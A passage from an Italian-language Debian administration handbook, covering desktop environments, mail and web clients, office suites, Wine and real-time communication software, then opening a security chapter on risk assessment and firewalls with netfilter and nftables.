Tuttavia, i computer più datati, potrebbero avere difficoltà ad eseguire ambienti desktop grafici pesanti. In questi casi, si dovrebbe usare un'alternativa più leggera (cercate il pacchetto virtuale x-window-manager). Tra i gestori di finestre "leggeri" (o con un minor impatto) ci sono WindowMaker (nel pacchetto wmaker), afterstep, icewm, blackbox, fluxbox e openbox. In questi casi, il sistema deve essere configurato in modo che il gestore di finestre appropriato abbia la precedenza; il modo standard è cambiare l'alternativa x-window-manager con il comando update-alternatives --config x-window-manager.

PECULIARITÀ DI DEBIAN Alternative

La Debian policy elenca un certo numero di comandi standardizzati in grado di eseguire una certa azione. Per esempio, il comando x-window-manager invoca un window manager. Ma Debian non assegna questo comando a un window manager fissato. L'amministratore può scegliere quale manager deve invocare.

Per ogni window manager, il pacchetto relativo registra perciò il comando appropriato come possibile scelta per x-window-manager insieme a una priorità associata. A meno di una configurazione esplicita da parte dell'amministratore, questa priorità permette di scegliere il miglior window manager installato quando viene lanciato il comando generico.

Sia la registrazione dei comandi che la configurazione esplicita richiedono lo script update-alternatives. Scegliere dove punta un comando simbolico si riduce semplicemente a lanciare update-alternatives --config comando-simbolico. Lo script crea (e mantiene) collegamenti simbolici nella directory /etc/alternatives/, che a loro volta indicano la posizione dell'eseguibile. Col passare del tempo i pacchetti vengono installati o rimossi e/o l'amministratore modifica esplicitamente la configurazione. Quando un pacchetto che fornisce un'alternativa viene rimosso, l'alternativa punta automaticamente alla miglior scelta fra i possibili comandi rimanenti.

Non tutti i comandi simbolici sono elencati esplicitamente dalla Debian policy; alcuni manutentori dei pacchetti Debian hanno deliberatamente scelto di usare questo meccanismo in casi meno ovvi dove fornisce comunque un'interessante flessibilità (gli esempi includono x-www-browser, www-browser, cc, c++, awk e così via).

13.2.3. Gestione dei menu

I moderni ambienti desktop e molti window manager forniscono dei menu che elencano le applicazioni disponibili all'utente. Per poter mantenere i menu aggiornati con l'effettivo insieme di applicazioni disponibili, ogni pacchetto fornisce, di solito, un file .desktop in /usr/share/applications. Il formato di questi file è stato standardizzato da FreeDesktop.org:

→ https://specifications.freedesktop.org/desktop-entry-spec/latest/

I menu delle applicazioni possono essere ulteriormente personalizzati da parte degli amministratori attraverso i file di configurazione a livello di sistema come descritto dal “Desktop Menu Specification”. Anche gli utenti finali possono personalizzare i menu con strumenti grafici come kmenuedit (in Plasma), alacarte (in GNOME) o menulibre.

→ https://specifications.freedesktop.org/menu-spec/latest/

STORIAIl menu di sistema di Debian

Storicamente — prima che emergessero gli standard di FreeDesktop.org — Debian aveva creato un proprio sistema di menu dove ciscun pacchetto forniva una descrizione generica delle voci di menu desiderate in /usr/share/menu/. Questo strumento è ancora disponibile in Debian (nel pacchetto menu) ma è solo marginalmente utile poichè i manutentori dei pacchetti sono invece incoraggiati a fare affidamento sui file .desktop.

13.3. Desktop grafici

Il campo dei desktop grafici liberi è dominato da due grandi raccolte software: GNOME e Plasma di KDE. Entrambi sono molto popolari.

Questa diversità ha radici storiche. Plasma (inizialmente solo KDE, che ora è il nome della comunità) è stato il primo progetto di desktop grafico, ma ha scelto il toolkit grafico Qt e questa scelta non era accettabile per un gran numero di sviluppatori. Qt non era software libero e fu iniziato GNOME basato sul toolkit GTK+. Nel frattempo Qt diventò software libero, ma i progetti si sono comunque evoluti in parallelo.

Le comunità GNOME e KDE lavorano ancora insieme: sotto l'ombrello di FreeDesktop.org, i progetti hanno collaborato alla definizione di standard per l'interoperabilità fra applicazioni.

Scegliere "il miglior" desktop grafico è un argomento sensibile da cui è meglio stare alla larga. Qui si descriveranno semplicemente le diverse possibilità e si daranno dei riferimenti per ulteriori riflessioni. La scelta migliore verrà fatta dall'utente dopo diversi esperimenti.

13.3.1. GNOME

Debian Bullseye include GNOME versione 3.38, che può essere installato con un semplice apt install gnome (può anche essere installato scegliendo il task "Debian desktop environment" - task-desktop e task-gnome-desktop).

GNOME è degno di nota per i suoi sforzi sull'usabilità e l'accessibilità. Professionisti della progettazione sono stati impegnati nella scrittura di standard e raccomandazioni, che hanno aiutato gli sviluppatori a creare interfacce grafiche utente appaganti. Il progetto inoltre riceve incoraggiamenti dai grandi attori dell'informatica come Intel, IBM, Oracle, Novell e, ovviamente, diverse distribuzioni Linux. Infine, si possono usare molti linguaggi di programmazione per sviluppare applicazioni che si interfaccino con GNOME.

Figura 13.1. Il desktop GNOME

Per gli amministratori, GNOME sembra meglio preparato per distribuzioni su larga scala. La configurazione delle applicazioni è gestita attraverso l'interfaccia GSettings ed i dati memorizzati nel database GConf. Le impostazioni di configurazione possono essere richieste e modificate con gli strumenti a riga di comando gsettings, e dconf, oppure tramite l'interfaccia grafica dconf-editor. L'amministratore può perciò cambiare la configurazione degli utenti con un semplice script. Il sito web di GNOME fornisce informazioni per guidare gli amministratori incaricati di gestire le postazioni di lavoro GNOME:

→ https://help.gnome.org/admin/

13.3.2. KDE e Plasma

Debian Bullseye include la versione 5.20 di KDE Plasma, che può essere installata con apt install kde-standard (task-kde-desktop).

Plasma ha avuto una rapida evoluzione basata su un approccio molto pratico. I suoi autori hanno ottenuto rapidamente buoni risultati, il che ha permesso loro di far crescere una larga base di utenti. Questi fattori hanno contribuito alla qualità globale del progetto. Plasma è un ambiente desktop perfettamente maturo con una vasta gamma di applicazioni.

Figura 13.2. Il desktop Plasma

Con il rilascio delle Qt 4.0, è stato risolto anche l'ultimo problema di licenza con KDE. Questa versione è stata rilasciata sotto al GPL sia per Linux che per Windows (la versione per Windows era precedentemente rilasciata sotto una licenza non libera). Le applicazioni KDE sono sviluppate principalmente usando il linguaggio C++.

13.3.3. Xfce e altri

Xfce è un desktop grafico semplice e leggero, il che è un abbinamento perfetto per computer con risorse limitate. Può essere installato con apt install xfce4 (task-xfce-desktop). Come GNOME, Xfce si basa sul toolkit GTK+ ed i due desktop hanno diversi componenti in comune.

Al contrario di GNOME e Plasma, Xfce non mira a diventare un progetto vasto. Al di là delle componenti di base di un desktop moderno (file manager, window manager, session manager, un pannello per i lanciatori delle applicazioni e così via), fornisce solo alcune applicazioni specifiche: un terminale, un calendario (orage), un visualizzatore di immagini, uno strumento per masterizzare CD/DVD, un lettore multimediale (parole), un controllo per il volume audio ed un editor di testo (mousepad).

→ https://xfce.org/?lang=it

Figura 13.3. Il desktop Xfce

13.3.4. Altri ambienti desktop

LXDE e LXQt sono due ambienti desktop che si concentrano sull'aspetto "leggero". Il primo è basato su GTK+ mentre il secondo è basato su Qt. Possono essere installati con i metapacchetti lxde (task-lxde-desktop) e lxqt (task-lxqt-desktop).

→ https://lxqt-project.org/

→ https://lxqt-project.org/

Figura 13.4. Il desktop LXDE

Figura 13.5. Il desktop LXQT

Cinnamon e MATE sono entrambi nati quando GNOME 3 si è allontanato dal paradigma del desktop tradizionale, abbandonando il solito pannello ed il suo menu in favore della nuova shell basata sulla ricerca. Il primo ha reintrodotto un pannello realizzando un fork di GNOME Shell, mentre il secondo è una continuazione di GNOME 2. Possono essere installati con i metapacchetti cinnamon-desktop-environment (task-cinnamon-desktop) e mate-desktop-environment (task-mate-desktop).

→ https://developer.linuxmint.com/projects/cinnamon-projects.html

→ https://mate-desktop.org/

Figura 13.6. Il desktop Cinnamon

Figura 13.7. Il desktop MATE

13.4. Posta elettronica

13.4.1. Evolution

COMUNITÀ Pacchetti popolari

Installando il pacchetto popularity-contest si può partecipare a un sondaggio automatico che informa il progetto Debian sui pacchetti più popolari. Settimanalmente viene eseguito uno script da cron che invia (in HTTP o posta elettronica) una lista anonimizzata dei pacchetti installati e della data di ultimo accesso ai file che essi contengono. Ciò permette ai manutentori di Debian di sapere quali pacchetti sono installati più frequentemente e, tra questi, quanto frequentemente sono effettivamente utilizzati.

Questa informazione è di grande aiuto per il progetto Debian. Viene usata per determinare quali pacchetti debbano andare sui primi dischi di installazione. I dati sull'installazione inoltre sono un fattore importante usato per decidere se rimuovere dalla distribuzione un pacchetto con pochissimi utenti. Si raccomanda caldamente di installare il pacchetto popularity-contest e di partecipare al sondaggio.

I dati raccolti sono resi pubblici ogni giorno.

→ https://popcon.debian.org/

Queste statistiche possono inoltre aiutare gli utenti a scegliere fra due pacchetti che altrimenti sembrerebbero equivalenti. La scelta del pacchetto più popolare è probabilmente una scelta più sicura.

Evolution è il client GNOME per la posta elettronica e si può installare con apt install evolution. Esso è più di un semplice client per la posta elettronica: fornisce anche un calendario, una rubrica, una lista di compiti e un'applicazione per prendere appunti (note in forma libera). La sua componente di posta elettronica include un potente sistema di indicizzazione dei messaggi e permette la creazione di cartelle virtuali in base alle interrogazioni di ricerca su tutti i messaggi archiviati. In altre parole, tutti i messaggi sono memorizzati allo stesso modo ma visualizzati in un'organizzazione a cartelle, dove ciascuna cartella contiene i messaggi che corrispondono a un insieme di criteri di filtraggio.

Figura 13.8. Il software di posta elettronica Evolution

Un'estensione permette a Evolution di integrarsi con un sistema di posta elettronica Microsoft Exchange; il pacchetto richiesto è evolution-ews.

13.4.2. KMail

Il software di posta elettronica di KDE si può installare con apt install kmail. KMail gestisce solo la posta elettronica ma fa parte di una suite software chiamata KDE-PIM (ovvero Personal Information Manager) che include funzionalità quali rubriche, una componente per il calendario e così via. KMail ha tutte le funzionalità che ci si aspetterebbe da un ottimo client per la posta elettronica.

Figura 13.9. Il software di posta elettronica KMail

13.4.3. Thunderbird

Il pacchetto thunderbird fornisce il client di posta elettronica della suite software Mozilla. Sono disponibili diverse localizzazioni nei pacchetti thunderbird-l10n-*; l'estensione enigmail gestisce la cifratura e la firma dei messaggi, ma non è disponibile in tutte le lingue.

Figura 13.10. Il software di posta elettronica Thunderbird

13.5. Browser web

Epiphany, il browser web della suite GNOME, usa il motore di visualizzazione WebKit sviluppato da Apple per il suo browser Safari. Il relativo pacchetto è epiphany-browser.

Konqueror, disponibile nel pacchetto konqueror, è il browser web di KDE (ma può anche assumere il ruolo di file manager). Utilizza il motore di rendering KHTML specifico di KDE; KHTML è uno strumento eccellente, come testimonia il fatto che WebKit di Apple è basato su di esso. KDE ha anche un browser più recente, chiamato Falkon, disponibile nel pacchetto falkon. Utilizza QtWebEngine.

Gli utenti non soddisfatti da nessuno dei citati programmi possono usare Firefox. Questo browser, disponibile nel pacchetto firefox-esr, utilizza il motore Gecko del progetto Mozilla, arricchito con un'interfaccia ricercata ed estensibile.

Figura 13.11. Il browser web Firefox

VOCABOLARIO Firefox ESR

Mozilla ha un ciclo di rilascio molto veloce per Firefox. Le nuove versioni vengono pubblicate ogni sei-otto settimane e solo l'ultima è supportata per problemi di sicurezza. Questo non si adatta a tutti gli utenti così, ogni 10 cicli, una delle versioni viene promossa ad Extended Support Release (ESR) che avrà aggiornamenti di sicurezza (e nessun cambiamento funzionale) durante i successivi 10 cicli (che copre un po' più di un anno).

Debian ha entrambe le versioni pacchettizzate. Quella ESR, nel pacchetto firefox-esr, è usata di default poiché è l'unica versione adatta a Debian Stable con il suo lungo periodo di supporto (e anche lì Debian deve aggiornare da una release ESR alla successiva più volte durante il ciclo di vita di Debian Stable). La versione regolare di Firefox è disponibile nel pacchetto firefox ma è disponibile solo per gli utenti di Debian Unstable.

CULTURA Iceweasel, Firefox e altri

Prima di Debian Stretch, Firefox e Thunderbird erano assenti. Il pacchetto iceweasel conteneva Iceweasel, che era fondamentalmente Firefox sotto un altro nome.

Il motivo dietro a questo cambio di nome era il risultato delle regole d'uso imposte dalla Mozilla Foundation sul marchio registrato Firefox™: qualunque software denominato Firefox doveva usare il logo e l'icona ufficiali di Firefox. Tuttavia, poiché questi elementi non erano stati rilasciati sotto una licenza libera, Debian non puteva distribuirli nella sua sezione main. Invece di spostare tutto il browser in non-free, il manutentore del pacchetto scelse di usare un nome diverso.

Per motivi simili, il client di posta elettronica Thunderbird™ è stato rinominato Icedove in modo simile.

Al giorno d'oggi, il logo e le icone sono distribuiti sotto una licenza di software libero e Mozilla ha riconosciuto che i cambiamenti fatti dal progetto Debian stanno rispettando il loro marchio registrato, quindi Debian è di nuovo in grado di distribuire le applicazioni di Mozilla sotto il loro nome ufficiale.

CULTURA Mozilla

Netscape Navigator era il browser standard quando il web cominciò a raggiungere le masse, ma perse terreno quando Microsoft mise Internet Explorer in bundle con Windows e firmò contratti con i produttori di computer che vietavano loro di preinstallare Netscape Navigator. Di fronte a questo fallimento, Netscape (l'azienda) ha deciso di "liberare" il suo codice sorgente, rilasciandolo sotto una licenza libera, per dargli nuova vita. Questo fu l'inizio del progetto Mozilla. Dopo molti anni di sviluppo, i risultati sono più che soddisfacenti: il progetto Mozilla ha sviluppato un motore di rendering (chiamato Gecko) che è fra i più conformi agli standard. Questo motore di rendering è usato in particolare dal browser Mozilla Firefox, che è uno dei browser principali.

Ultimo ma non meno importante, Debian contiene anche il browser web Chromium (disponibile nel pacchetto chromium). Questo browser è sviluppato da Google ed è diventato, in pochi anni, il più popolare. Il suo chiaro scopo è di rendere più attraenti i servizi web, sia ottimizzando le prestazioni del browser sia incrementando la sicurezza dell'utente. Il codice libero che fa funzionare Chromium è usato anche nella versione proprietaria chiamata Google Chrome™.

13.6. Sviluppo

13.6.1. Strumenti per GTK+ su GNOME

Anjuta (nel pacchetto anjuta) e GNOME Builder (nel pacchetto gnome-builder) sono ambienti di sviluppo integrati (IDE) ottimizzati per creare applicazioni GTK+ per GNOME. Glade (nel pacchetto glade) è un'applicazione progettata per creare interfacce grafiche GTK+ per GNOME e salvarle in un file XML. Questi file, possono poi essere caricati dalla libreria condivisa GTK+ attraverso il suo componente GtkBuilder per ricreare le interfacce salvate; tale caratteristica può essere interessante, ad esempio, per i plugin che richiedono finestre di dialogo.

→ https://wiki.gnome.org/Apps/Builder

→ http://anjuta.org/

→ https://glade.gnome.org/

13.6.2. Strumenti per Qt

Le soluzioni equivalenti per le applicazioni QT sono KDevelop di KDE (nel pacchetto kdevelop) per l'ambiente di sviluppo, e Qt Designer (nel pacchetto qttools5-dev-tools) per la progettazione di interfacce grafiche per applicazioni Qt.

KDevelop è anche un IDE generico e fornisce plugin per altri linguaggi come Python e PHP e diversi sistemi di compilazione.

13.7. Suite per l'ufficio

Le soluzioni per l'ufficio sono state a lungo considerate carenti nel mondo del software libero. Gli utenti necessitano di strumenti capaci di sostituire Microsoft Word ed Excel, ma questi sono così complessi che soluzioni alternative erano difficili da sviluppare. La situazione è cambiata quando Sun ha rilasciato il codice di StarOffice sotto una licenza libera come OpenOffice, un progetto che in seguito ha dato vita a LibreOffice, che è disponibile su Debian. Anche il progetto KDE ha la sua suite per ufficio, chiamata Calligra Suite (precedentemente KOffice) e GNOME, pur non offrendo una suite per ufficio completa, fornisce AbiWord come elaboratore di testi e Gnumeric come foglio elettronico. I vari progetti hanno ciascuno i loro punti di forza. Per esempio, il foglio di calcolo Gnumeric è migliore di OpenOffice.org/LibreOffice in alcuni campi, in particolare la precisione dei suoi calcoli. Sul fronte dell'elaborazione di testi, la suite LibreOffice è ancora all'avanguardia.

Un'altra importante funzionalità per gli utenti è la capacità di importare documenti Microsoft Office. Sebbene tutte le suite per l'ufficio hanno questa caratteristica, solo OpenOffice.org e LibreOffice sono adeguate per un uso quotidiano.

VISTA D'INSIEME LibreOffice sostituisce OpenOffice.org

I collaboratori di OpenOffice.org hanno creato una fondazione (The Document Foundation) per incoraggiare lo sviluppo del progetto. L'idea è stata discussa per molto tempo, ma l'evento decisivo è stato l'acquisizione di Sun da parte di Oracle. La nuova proprietà ha reso incerto il futuro di OpenOffice. Poiché Oracle ha rifiutato di entrare a far parte della fondazione, gli sviluppatori hanno dovuto rinunciare al nome OpenOffice.org. Questa suite per ufficio è ora conosciuta come LibreOffice ed è disponibile in Debian.

Dopo un periodo di relativa stagnazione di OpenOffice.org, Oracle ha donato il codice e i diritti associati alla Apache Software Foundation ed ora OpenOffice è un progetto Apache. Questo progetto non è attualmente disponibile in Debian ed è piuttosto moribondo se paragonato a LibreOffice.

LibreOffice e Calligra Suite sono disponibili rispettivamente nei pacchetti Debian libreoffice e calligra.

I pacchetti specifici per LibreOffice sono distribuiti in pacchetti separati, in particolare libreoffice-l10n-* e libreoffice-help-*. Alcune caratteristiche come i dizionari ortografici, i modelli di sillabazione e i dizionari dei sinonimi sono in pacchetti separati, come myspell-*, hunspell-*, hyphen-* e mythes-*.

13.8. Emulazione di Windows: Wine

Nonostante tutti gli sforzi menzionati in precedenza, un certo numero di strumenti non ha ancora un equivalente sotto Linux, o per alcuni è assolutamente richiesta la versione originale. In questo caso possono essere comodi sistemi di emulazione di Windows. Il più noto fra essi è Wine.

→ https://www.winehq.org/

COMPLEMENTI CrossOver Linux

CrossOver, prodotto da CodeWeavers, è un insieme di miglioramenti a Wine che ampliano l'insieme disponibile di funzionalità emulate al punto che Microsoft Office diventa completamente usabile. Alcuni dei miglioramenti vengono periodicamente incorporati in Wine.

→ https://www.codeweavers.com/products/

Tuttavia, si tenga presente che è solo una soluzione fra le altre, ed il problema può essere affrontato anche con una macchina virtuale o con VNC; entrambe queste soluzioni sono descritte in dettaglio nei riquadri ALTERNATIVA Macchine virtuali e ALTERNATIVA Windows Terminal Server o VNC.

Cominciamo con un promemoria: l'emulazione permette di eseguire un programma (sviluppato per un sistema destinazione) su un diverso sistema host. Il software di emulazione usa il sistema host, dove gira l'applicazione, per imitare le funzionalità richieste del sistema destinazione.

Ora cerchiamo di installare i pacchetti richiesti (ttf-mscorefonts-installer è nella sezione contrib):

# apt install wine ttf-mscorefonts-installer

In un sistema a 64 bit (amd64), se le applicazioni di Windows sono applicazioni a 32 bit, allora si dovrà attivare multi-arch per essere in grado di installare wine32 dall'architettura i386 (si veda Sezione 5.4.5, «Supporto Multi-Arch»).

L'utente deve quindi eseguire winecfg e configurare quali percorsi (Debian) sono mappate su quali unità (Windows). Alcuni valori predefiniti di winecfg gli permettono di rilevare automaticamente ulteriori unità; da notare che anche su di un sistema dual-boot, non si dovrebbe puntare all'unità C: dove è montata la partizione di Windows in Debian, poichè Wine probabilmente sovrascriverebbe alcuni dati rendendo Windows inutilizzabile. Altre impostazioni possono essere mantenute ai valori predefiniti. Per eseguire programmi Windows, è necessario prima installarli eseguendo il loro installer (Windows) all'interno di Wine, con un comando come wine .../setup.exe; una volta installato, è possibile eseguirlo con wine .../programma.exe. La posizione esatta del file programma.exe dipende da dove è mappata l'unità C:; in molti casi, tuttavia, la semplice esecuzione di wine programma funzionerà, poiché il programma è solitamente installato in una posizione in cui Wine provvederà a cercarlo.

SUGGERIMENTO Lavorare su un guasto di winecfg

In alcuni casi, winecfg (che è solo un wrapper, una copertura) potrebbe fallire. Per aggirare il problema, è possibile cercare di eseguire il comando sottostante manualmente: wine64 /usr/lib/x86_64-linux-gnu/wine/wine/winecfg.exe.so oppure wine32 /usr/lib/i386-linux-gnu/wine/wine/winecfg.exe.so.

Notare che non ci si deve fidare di Wine (o soluzioni simili) senza collaudare effettivamente il software specifico: solo una vera prova d'uso determinerà per certo se l'emulazione è pienamente funzionante.

ALTERNATIVA Macchine virtuali

Un alternativa all'emulazione del sistema operativo di Microsoft è quella eseguirlo in una macchina virtuale, capace di emulare una macchina completa di tutto l'hardware. Ciò permette di eseguire qualunque sistema operativo. In Capitolo 12, Amministrazione avanzata vengono descritti diversi sistemi di virtualizzazione, principalmente Xen e KVM (ma anche QEMU, VMWare e VirtualBox).

ALTERNATIVA Windows Terminal Server o VNC

Un'altra possibilità è di far girare da remoto le vecchie applicazioni Windows su un server centrale con Windows Terminal Server ed accedere all'applicazione da macchine Linux usando rdesktop. Questo è un client Linux per il protocollo RDP (Remote Desktop Protocol) che è usato da Windows NT/2000 Terminal Server per visualizzare i desktop sulle macchine remote.

Il software VNC fornisce funzionalità simili, con il beneficio aggiunto di funzionare anche con molti sistemi operativi. I client e i server Linux per VNC sono descritti in Sezione 9.2, «Accesso remoto».

13.9. Software Comunicazioni Real-Time

Debian fornisce una vasta gamma di software client per Comunicazioni Real-Time (RTC). La messa a punto di server RTC è discussa in Sezione 11.8, «Servizi di Comunicazione Real-Time». Nella terminologia SIP (Session Initiation Protocol), un'applicazione client o un dispositivo è detto anche user agent.

Ogni applicazione client differisce nelle funzionalità. Alcune applicazioni sono più convenienti per gli utenti di chat intensivi mentre altre applicazioni sono più stabili per gli utenti di webcam. Potrebbe essere necessario testare diverse applicazioni per individuare quelle che sono i più soddisfacenti. Un utente può infine decidere che ha bisogno di più di una applicazione, per esempio, un'applicazione XMPP per la messaggistica con i clienti ed una IRC per collaborare con alcune comunità on-line.

Per massimizzare la capacità degli utenti di comunicare con il resto del mondo, si consiglia di configurare sia il client SIP che il client XMPP o un singolo client che supporta entrambi i protocolli.

Per impostazione predefinita, il desktop GNOME propone il client di comunicazione Empathy. Emphaty può supportare sia SIP che XMPP. Supporta la messaggistica istantanea (IM), voce e video. Il progetto KDE fornisce KDE Telepathy, un client di comunicazione basato sulle stesse API usate dal client di GNOME Empathy.

Alternative popolari a Empathy/Telepathy includono Ekiga, Linphone, Psi, Jitsi e Jami (precedentemente noto come Ring).

Jitsi non richiede altri client se non un browser web. Supporta chiamate criptate ed esiste un vasto elenco di istanze pubbliche. Non esiste un pacchetto Debian ufficiale per Jitsi, ma può essere scaricato dal sito ufficiale.

Alcune di queste applicazioni possono anche interagire con gli utenti che utilizzano applicazioni mobile come Lumicall su Android.

→ https://lumicall.org

La Guida Rapida alle Comunicazioni Real-Time ha un capitolo dedicato al software client.

→ http://rtcquickstart.org/guide/multi/useragents.html

SUGGERIMENTO Cercare il supporto clienti per ICE e TURN

Alcuni clienti RTC hanno notevoli problemi di invio di voce e video attraverso firewall e reti NAT. Gli utenti potrebbero ricevere chiamate fantasma (il loro telefono squilla, ma non si sente l'altra persona) o potrebbero non essere in grado di chiamare tutti.

I protocolli ICE a TURN sono stati sviluppati per risolvere questi problemi. La gestione di un server TURN con indirizzi IP pubblici in ogni sito e l'uso di software client che supportano entrambi i protocolli ICE e TURN dà la migliore esperienza utente.

Se il software client è destinato solo alla messagistica istantanea, non c'è alcun bisogno che supporti ICE o TURN.

ALTERNATIVA Internet Relay Chat

Si può considerare anche IRC, oltre a SIP e XMPP. IRC è più incentrato attorno al concetto di canali, i cui nomi iniziano con un simbolo di cancelletto #. Ciascun canale di solito è dedicato a un argomento specifico e qualunque numero di persone può entrare in un canale per discutere (ma gli utenti possono comunque conversare privatamente uno-a-uno, se necessario). Il protocollo IRC è più vecchio, e non permette la cifratura punto a punto dei messaggi; tuttavia è possibile cifrare le comunicazioni fra gli utenti e il server incorporando il protocollo IRC in un tunnel SSL.

I client IRC sono un po' più complessi e di solito forniscono molte funzionalità di uso limitato in un ambiente aziendale. Per esempio gli "operatori" di un canale sono utenti con la capacità di buttare altri utenti fuori da un canale o addirittura bandirli permanentemente, quando la normale discussione è disturbata.

Poiché il protocollo IRC è molto vecchio, sono disponibili molti client per soddisfare le esigenze di molti gruppi di utenti; alcuni esempi incluldono XChat, Smuzi (client grafici basati su GTK+), Irssi (modalità testo), Circe (integrato in Emacs) e così via.

Capitolo 14. Sicurezza

Un sistema informatico può presentare un livello di importanza variabile a seconda dell'ambiente. In alcuni casi è vitale per la sopravvivenza dell'azienda. Perciò deve essere protetto da vari tipi di rischi. Il processo di valutazione di questi rischi, la loro definizione e l'implementazione della protezione sono comunemente conosciuti come "processo di sicurezza".

14.1. Definire la politica di sicurezza

ATTENZIONE Scopo di questo capitolo

La sicurezza è un argomento vasto e molto delicato, perciò non possiamo pretendere di descriverlo in modo esauriente nel corso di un singolo capitolo. Verranno solo delineati alcuni punti fondamentali e descritti alcuni degli strumenti e metodi che possono essere utili nell'ambito della sicurezza. Per maggiori approfondimenti, la letteratura abbonda e sono stati dedicati interi libri all'argomento.

La parola "sicurezza" di per sé coinvolge un ampio inseme di concetti, strumenti e procedure, nessuno dei quali ha valenza universale. Per scegliere tra questi bisogna farsi un'idea precisa di quali siano i propri obbiettivi. La messa in sicurezza di un sistema inizia con la ricerca della risposta ad alcune domande. Buttandosi a capofitto nell'implementazione di un insieme arbitrario di strumenti, si rischia di concentrarsi su aspetti errati della sicurezza.

La primissima cosa da definire è perciò lo scopo. Un buon approccio che ne facilita l'individuazione inizia con le seguenti domande:

Cosa stiamo tentando di proteggere? La politica di sicurezza sarà differente se vogliamo proteggere il computer oppure i dati. Nell'ultimo caso, abbiamo anche bisogno di conoscere quali dati.

Da cosa stiamo tentando di proteggerci? Fuga di dati confidenziali? Perdita accidentale di dati? Mancati ricavi derivanti da interruzione di servizio?

Inoltre, da chi stiamo tentando di proteggerci? Le misure di sicurezza possono essere piuttosto differenti se si deve rimediare all'errore di un utente ordinario rispetto alla difesa da un gruppo di autori di attacchi determinati.

Il termine "rischio" è utilizzato abitualmente per riferirsi all'insieme di questi tre fattori: cosa proteggere, cosa si vuole evitare che accada e chi vuole che accada. L'individuazione del rischio richiede la risposta a queste tre domande. Da questo modello di rischio, può essere costruita una politica di sicurezza che può essere implementata con azioni concrete.

NOTA Farsi continuamente domande

Bruce Schneier, esperto mondiale in materia di sicurezza (non solo di sicurezza informatica) cerca di contrastare uno dei miti principali della sicurezza con un motto: "La sicurezza è un processo, non un prodotto". Il patrimonio da proteggere varia nel tempo, e di pari passo variano anche le minacce e i mezzi a disposizione dei potenziali autori di un attacco. Sebbene la politica di sicurezza inizialmente sia stata progettata e implementata allo stato dell'arte, non bisogna mai dormire sugli allori. Le componenti del rischio evolvono e, di conseguenza, deve evolvere la risposta a questo rischio.

Vale la pena di prendere in considerazione anche vincoli aggiuntivi, in quanto possono restringere la gamma delle politiche da intraprendere. Quanto siamo disposti a fare per proteggere il sistema? Questa domanda ha un forte impatto sulle scelte da adottare. La risposta è troppo spesso definita unicamente in base ad aspetti economici, ma bisogna considerare anche altri elementi, come la quantità di disagio imposto agli utenti del sistema o l'impatto negativo sulle prestazioni.

Una volta creato un modello del rischio, bisogna iniziare a pensare alla progettazione di una concreta politica di sicurezza.

NOTA Politiche estreme

Ci sono casi in cui la scelta delle azioni richieste per mettere in sicurezza un sistema è estremamente semplice.

Per esempio, se il sistema da proteggere comprende solamente un computer di seconda mano, il cui unico utilizzo è quello di fare un po' di calcoli al termine della giornata, potrebbe essere piuttosto ragionevole decidere di non fare nulla di particolare per proteggerlo. Il valore intrinseco del sistema è basso. Il valore dei dati è zero poiché non sono immagazzinati nella macchina. Un potenziale autore di un attacco che si infiltrasse nel "sistema" guadagnerebbe solo un'ingombrante calcolatrice. Il costo della messa in sicurezza di tale sistema sarebbe probabilmente maggiore del costo della violazione.

All'altro estremo, potremmo voler proteggere la confidenzialità di dati segreti nel modo più completo possibile, sopra ogni altra considerazione. In questo caso, una risposta appropriata potrebbe essere la distruzione totale di quei dati (eliminando i file in modo sicuro, distruggendo in pezzi il disco fisso, sciogliendoli poi in acido e così via). Se invece c'è il requisito aggiuntivo di mantenere i dati archiviati per un uso futuro (anche se non necessariamente a portata di mano) e se il costo non è ancora un fattore importante, allora un punto di partenza potrebbe essere memorizzare i dati su piastre di lega platino-iridio stoccate in bunker a prova di bomba sotto varie montagne sparse nel mondo, ognuno dei quali (ovviamente) totalmente segreti e sorvegliati da interi eserciti…

Per quanto estremi possano sembrare questi esempi, sarebbero tuttavia, una risposta adeguata ai rischi definiti, in quanto sono il risultato di un ragionamento che tiene conto degli obiettivi da raggiungere e dei vincoli da rispettare. Nessuna politica di sicurezza, quando deriva da una decisione ragionata, è meno rispettabile di ogni altra.

Nella maggior parte dei casi, il sistema informatico può essere segmentato in sottoinsiemi coerenti e per lo più indipendenti. Ogni sottosistema avrà i propri requisiti e vincoli, e quindi la valutazione del rischio e la progettazione della politica di sicurezza dev'essere effettuata separatamente per ognuno. Un buon principio da seguire è che un perimetro breve e ben definito è più facile da difendere di una frontiera lunga e tortuosa. L'architettura di rete dev'essere progettata di conseguenza: i servizi critici devono essere concentrati in poche macchine, e tali macchine devono essere accessibili attraverso un numero minimo di punti di controllo; sarà più facile proteggere questi punti piuttosto di schermare tutte le macchine sensibili dall'intero mondo esterno. È a questo punto che diventa evidente l'utilità di regolamentare il traffico di rete (anche attraverso firewall). Questo processo può essere implementato con hardware dedicato, ma una possibile soluzione più semplice e flessibile è l'uso di un firewall software come quello integrato nel kernel Linux.

14.2. Firewall o filtraggio dei pacchetti

FONDAMENTALE Firewall

Il firewall è un componente informatico provvisto di hardware e/o software che smista i pacchetti di rete in ingresso o uscita (che arrivano o lasciano la rete locale) e li lascia passare solo se soddisfano determinati criteri predefiniti.

Il firewall è un punto di filtraggio di rete ed è efficace solo per i pacchetti che devono transitare da esso. Perciò può essere efficace solo se il passaggio attraverso il firewall è l'unico instradamento possibile per quei pacchetti.

CASO SPECIFICO Firewall Locale

Un firewall può essere limitato ad una particolare macchina (a differenza di un'intera rete), nel qual caso la sua funzione è quella di filtrare o limitare l'accesso ad alcuni servizi. Tuttavia, è sempre meglio configurare i servizi in modo che non ascoltino sulle interfacce di rete sulle quali non dovrebbero essere offerti, oppure disabilitare e rimuovere i servizi che non devono essere offerti affatto, piuttosto che utilizzare un filtro dei pacchetti per impedire l'accesso indesiderato a tali servizi.

Il suo ruolo può essere anche quello di filtrare o limitare le connessioni di software malevolo o mal programmato che un utente ha installato volontariamente o meno. In ogni caso, l'affidabilità di questo dipende fortemente dall'obbiettivo di queste azioni e dall'integrità del sistema. Questa azione non è una misura per prevenire potenziali minacce di invio dati.

Il kernel Linux incorpora il firewall netfilter. Può essere controllato nello spazio utente con i comandi iptables, ip6tables, arptables e ebtables.

Tuttavia, i comandi iptables di Netfilter sono stati sostituiti da nftables, che evita molti dei suoi problemi. Il suo design comporta una minore duplicazione di codice e può essere gestito con il solo comando nft. A partire da Debian Buster, il framework nftables è utilizzato in modo predefinito. I comandi menzionati in precedenza sono forniti dalle versioni che utilizzano, per impostazione predefinito, l'API del kernel di nftables. Se si preferiscono i comandi "classici", i relativi binari possono essere attivati usando update-alternatives.

